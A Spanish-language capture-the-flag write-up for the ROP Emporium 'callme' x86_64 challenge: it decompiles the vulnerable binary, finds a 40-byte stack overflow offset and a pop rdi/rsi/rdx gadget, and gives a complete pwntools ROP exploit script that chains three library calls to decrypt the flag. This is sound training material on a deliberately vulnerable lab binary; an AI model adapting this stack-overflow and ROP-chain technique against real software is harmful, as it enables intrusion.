callme

August 17, 20254 minutes

{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("callme by ROP Emporium");
  puts("x86_64\n");
  pwnme();
  puts("\nExiting");
  return 0;
}

La función main llama a la función pwnme().

En la función pwnme hay un claro BoF, hay un buffer de 32 bytes y el programa permite al usuario llegar a escribir en ese buffer 0x200 bytes

int pwnme()
{
  char s[32]; // [rsp+0h] [rbp-20h] BYREF

  memset(s, 0, sizeof(s));
  puts("Hope you read the instructions...\n");
  printf("> ");
  read(0, s, 0x200uLL);
  return puts("Thank you!");
}

Con un cyclic se puede encontrar el offset

pwndbg> cyclic 300
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
callme by ROP Emporium
x86_64

Hope you read the instructions...

> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
pwndbg> cyclic -l faaaaaaa
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40

El offset es de 40.

Ahora se podría intentar un ret2libc, pero la libc que se proporciona para el reto no tiene system….

[d3bo@archlinux rop_emporium]$ readelf -s libcallme.so | grep system
[d3bo@archlinux rop_emporium]$

Dentro del binario hay unas funciones que llaman la atención

Hay 3 funciones

  • callme_one
  • callme_two
  • callme_three

Todas dentro solo tienen extrn callme_one:near respectivamente.

Esto hace pensar que lo está cargando desde libc y que es una función externa.

Así que abre el libc proporcionado con ida

  • callme_one:
int __fastcall callme_one(__int64 a1, __int64 a2, __int64 a3)
{
  FILE *stream; // [rsp+28h] [rbp-8h]

  if ( a1 != 0xDEADBEEFDEADBEEFLL || a2 != 0xCAFEBABECAFEBABELL || a3 != 0xD00DF00DD00DF00DLL )
  {
    puts("Incorrect parameters");
    exit(1);
  }
  stream = fopen("encrypted_flag.dat", "r");
  if ( !stream )
  {
    puts("Failed to open encrypted_flag.dat");
    exit(1);
  }
  g_buf = (char *)malloc(0x21uLL);
  if ( !g_buf )
  {
    puts("Could not allocate memory");
    exit(1);
  }
  g_buf = fgets(g_buf, 33, stream);
  fclose(stream);
  return puts("callme_one() called correctly");
}
  • callme_two:
int __fastcall callme_two(__int64 a1, __int64 a2, __int64 a3)
{
  int i; // [rsp+24h] [rbp-Ch]
  FILE *stream; // [rsp+28h] [rbp-8h]

  if ( a1 != 0xDEADBEEFDEADBEEFLL || a2 != 0xCAFEBABECAFEBABELL || a3 != 0xD00DF00DD00DF00DLL )
  {
    puts("Incorrect parameters");
    exit(1);
  }
  stream = fopen("key1.dat", "r");
  if ( !stream )
  {
    puts("Failed to open key1.dat");
    exit(1);
  }
  for ( i = 0; i <= 15; ++i )
    g_buf[i] ^= fgetc(stream);
  return puts("callme_two() called correctly");
}
  • callme_three:
void __fastcall __noreturn callme_three(__int64 a1, __int64 a2, __int64 a3)
{
  int i; // [rsp+24h] [rbp-Ch]
  FILE *stream; // [rsp+28h] [rbp-8h]

  if ( a1 == 0xDEADBEEFDEADBEEFLL && a2 == 0xCAFEBABECAFEBABELL && a3 == 0xD00DF00DD00DF00DLL )
  {
    stream = fopen("key2.dat", "r");
    if ( !stream )
    {
      puts("Failed to open key2.dat");
      exit(1);
    }
    for ( i = 16; i <= 31; ++i )
      g_buf[i] ^= fgetc(stream);
    *(_QWORD *)(g_buf + 4) ^= 0xDEADBEEFDEADBEEFLL;
    *(_QWORD *)(g_buf + 12) ^= 0xCAFEBABECAFEBABELL;
    *(_QWORD *)(g_buf + 20) ^= 0xD00DF00DD00DF00DLL;
    puts(g_buf);
    exit(0);
  }
  puts("Incorrect parameters");
  exit(1);

Parece que cada función forma parte de un proceso de desencriptar una flag.

Lo que hay que hacer ahora es crear un ROP para llamar a las 3 funciones y que se muestre la flag desencriptada que hay en el servidor.

Hay que tener en cuenta que cada función recibe 3 argumentos. Así que hay que usar un gadget, (pequeño recuerdo de que el primer argumento se pasa a través de rdi, el segundo a través de rsi, y el tercero a través de rdx), por lo que este gadget va como anillo al dedo

[d3bo@archlinux rop_emporium]$ ROPgadget --binary callme | grep "pop rsi"
....
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret

El pop sacará el valor del rsp y lo guardara en el registro correspondiente, esto hay que hacerlo antes de llamar a la función, si no tienes muy claro como funcionan los ROP te recomiendo mirar el writeup del reto Restaurant

#!/usr/bin/env python3

from pwn import *

exe = ELF("./callme")
libc = ELF("./libcallme.so")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r)
    else:
        r = remote("saturn.picoctf.net", 60804)

    return r


def main():
    r = conn()
    pop_rdi_pop_rsi_pop_rdx = 0x000000000040093c
    callme_one = 0x0000000000400720
    callme_two = 0x0000000000400740
    callme_three = 0x00000000004006f0
    offset = 40
    payload = flat({
        offset: [
            pop_rdi_pop_rsi_pop_rdx, 0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D,
            callme_one,
            pop_rdi_pop_rsi_pop_rdx, 0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D,
            callme_two,
            pop_rdi_pop_rsi_pop_rdx, 0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D,
            callme_three
        ]})

    r.sendlineafter(b'>', payload)

    r.interactive()


if __name__ == "__main__":
    main()